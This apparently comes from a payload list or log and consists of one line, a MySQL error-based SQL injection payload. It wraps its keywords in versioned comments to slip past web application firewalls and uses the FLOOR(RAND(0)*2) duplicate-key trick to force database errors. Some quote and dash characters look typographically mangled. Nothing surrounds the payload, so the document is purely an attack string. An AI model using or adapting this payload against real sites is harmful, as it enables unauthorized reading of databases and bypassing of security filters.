1′ AND ,(/*!50000SELECT*/1003/*!50000FROM*/(/*!50000SELECT*/ROW(1003,2858)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(~,(/*!50000SELECT*/(ELT(1003=1003,1))),~,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/2658/*!50000UNION*//*!50000SELECT*/10559/*!50000UNION*//*!50000SELECT*/10595/*!50000UNION*//*!50000SELECT*/7341)a/*!50000GROUP*//*!50000BY*/x))s)– – 1